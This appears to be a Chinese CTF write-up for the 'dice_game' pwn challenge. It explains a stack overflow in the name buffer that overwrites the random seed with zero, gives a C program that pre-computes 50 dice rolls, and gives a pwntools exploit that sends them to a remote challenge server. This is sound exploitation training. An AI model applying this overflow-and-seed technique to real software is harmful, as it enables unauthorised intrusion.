二_1.dice_game_64/产生随机数字

哇! 怎么这这么多机制全开了
二_1.dice_game_64/产生随机数字_第1张图片

思考:
1.又是一个产生随机数字的题,考察的是写脚本的能力。(先绕过猜解数字)(切记一定是time(0),应为time(0)是可以预测的)
2.然后我们在主程序里发现如下,我们通过循环就可以拿到我们的flag

{
  char s; // [sp+10h] [bp-70h]@1
  FILE *stream; // [sp+78h] [bp-8h]@1

  printf("Congrats %s\n", a1);
  stream = fopen("flag", "r");
  fgets(&s, 100, stream);
  puts(&s);
  return fflush(stdout);
}
如果遇见类似的猜点数的题看栈的分布情况

1.我们将数据覆盖到send的地方,将我们自己跑出来的50个数据,填充进去。 不就成功的破解了他的程序了嘛!

-0000000000000050 ;
-0000000000000050
-0000000000000050 buf             db 55 dup(?)    //我们输入名字的地方
-0000000000000019 var_19          db ?
-0000000000000018 var_18          dq ?
-0000000000000010 seed            dd 2 dup(?)  //产生随机函数的地方
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
编写产生随机数的脚本(gcc 脚本.c -o 输出的名字
#include  
#include 


int main(){
  srand(0);  ##切记一定是0 ,第一次尝试错误了  没有将种子设置为0
  for(int i=0;i<50;i++)

    printf("%d,",rand()%6 +1);
    printf("\n");
    return 0;
}
EXP
from pwn import *


#DEBUG = 1
#if DEBUG:
#p = process('./dice_game')    ##不知道什么原因 if else总是报错,还是按照常规思路链接服务器
#else:
p = remote("111.198.29.45","50891")


asm =[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]


payload = 'A'*0x40 + p64(0)
p.recvuntil("know your name: ")
p.sendline(payload)


for x in asm:
        p.recvuntil("Give me the point(1~6): ")
        p.send(str(x) + '\n')


p.interactive()

你可能感兴趣的:(二_1.dice_game_64/产生随机数字)